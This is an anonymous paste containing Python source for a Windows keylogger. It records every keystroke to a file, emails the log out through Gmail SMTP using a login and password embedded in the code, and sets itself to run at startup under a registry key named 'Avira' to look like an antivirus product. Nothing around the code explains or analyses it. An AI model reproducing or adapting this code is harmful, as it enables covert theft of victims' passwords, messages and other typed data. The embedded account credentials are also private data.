Guest User

Untitled

a guest
Aug 14th, 2018
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. import pyHook, pythoncom, threading, time, smtplib
  2. from sys import argv
  3. from _winreg import *
  4. from email.mime.text import MIMEText
  5.  
  6. class Timer(threading.Thread):
  7. def __init__(self, seconds):
  8. self.runTime = seconds
  9. threading.Thread.__init__(self)
  10. def run(self):
  11. time.sleep(self.runTime)
  12. fp = open('test.txt', 'rb')
  13. msg = MIMEText(fp.read())
  14. fp.close()
  15.  
  16. msg['Subject'] = 'The contents of %s' % fp
  17. msg['From'] = 'butters@live.at'
  18. msg['To'] = 'johnnyf@gmx.at'
  19.  
  20. s = smtplib.SMTP('smtp.gmail.com', 587)
  21. s.ehlo()
  22. s.starttls()
  23. s.ehlo()
  24. s.login('ilykturtles@gmail.com', 'roflcopter')
  25. s.sendmail('ilykturtles@gmail.com', 'ilykturtles@gmail.com', msg.as_string())
  26. s.quit()
  27.  
  28.  
  29. def OnKeyboardEvent(event):
  30. Logs = open('test.txt', 'a+')
  31.  
  32. if event.KeyID == 13:
  33. Logs.write(' [ENTER]\r\n')
  34. elif event.KeyID == 32:
  35. Logs.write(' [SPACE] ',)
  36. elif event.KeyID == 8:
  37. Logs.write(' [BACK] ',)
  38. elif event.KeyID == 162:
  39. Logs.write(' [LEFT CTRL] ',)
  40. elif event.KeyID == 164:
  41. Logs.write(' [ALT] ',)
  42. elif event.KeyID == 9:
  43. Logs.write(' [TAB] ',)
  44. elif event.KeyID == 160:
  45. Logs.write(' [LEFT SHIFT] ',)
  46. elif event.KeyID == 161:
  47. Logs.write(' [RIGHT SHIFT] ',)
  48. elif event.KeyID == 20:
  49. Logs.write(' [CAPS LOCK] ',)
  50. else:
  51. Logs.write(event.Key.lower(),)
  52.  
  53. Logs.close()
  54.  
  55. time_ = Timer(10)
  56. time_.start()
  57.  
  58. RegKey = CreateKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run')
  59. SetValueEx(RegKey, 'Avira', 0, REG_SZ, argv[0])
  60.  
  61. hooking = pyHook.HookManager()
  62. hooking.KeyDown = OnKeyboardEvent
  63. hooking.HookKeyboard()
  64. pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment